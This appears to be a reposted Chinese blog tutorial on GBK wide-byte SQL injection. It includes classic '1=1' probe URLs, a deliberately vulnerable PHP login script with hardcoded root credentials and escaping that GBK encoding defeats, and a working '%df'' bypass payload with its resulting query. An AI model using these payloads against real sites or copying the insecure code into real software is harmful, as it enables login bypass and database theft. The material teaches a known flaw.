数据库
首页 > 数据库> > SQL注入之宽字节注入

SQL注入之宽字节注入

作者:互联网

简介

宽字节注入是相对于单字节注入而言的。单字节注入就是大家平时的直接在带有参数ID的URL后面 追回SQL语句进行注入。比如:http://www.hackest.cn/article.php?id=1and 1=1/*

http://www.hackest.cn/article.php?id=1and 1=2/*,这个经典的判断目标是否存在注入的例子就是单字节注入。

理论上说,只要数据库连接代码设置了GBK编码,或者是默认编码就 是GBK,那现在的程序里到处都是注入漏洞。事实上,这种变换在XSS等领域也发挥了巨大的作用,在PHP+Linux后台程序结合的时候,还可能造成命 令注入,也就是说能可以在注入点直接执行Linux系统命令。比如登录文件login.php的代码如下:

<?php $conn=mysql_connect("localhost","root","hackest"); mysql_query("SET NAMES 'GBK'"); mysql_select_db("test",$conn); $user=mysql_escape_string($_GET['user']); $pass=mysql_escape_string($_GET['pass']); $sql="select * from cms_user where username='$user' and password='$pass'"; $result=mysql_query($sql,$conn); while ($row=mysql_fetch_array($result, MYSQL_ASSOC)) { $rows[]=$row; } ?> 

则可以通过构造以下语句进行注入:

http://www.hackest.cn/login.php?user=%df'%20or%201=1%20limit%201,1%23&pass=

%20是空格的URL编码,%23是#的URL编码,Mysql注释符之一。对应的SQL语句是:

select * fromcms_user where username='運'or 1=1 limit 1,1#' and password="

以下为URL编码:

%27---------单引号

%20----------空格

%23-----------#号

%5c------------/反斜杠

 

标签:编码,字节,23,URL,SQL,单字节,php,注入
来源: https://www.cnblogs.com/leeqizhi/p/12363177.html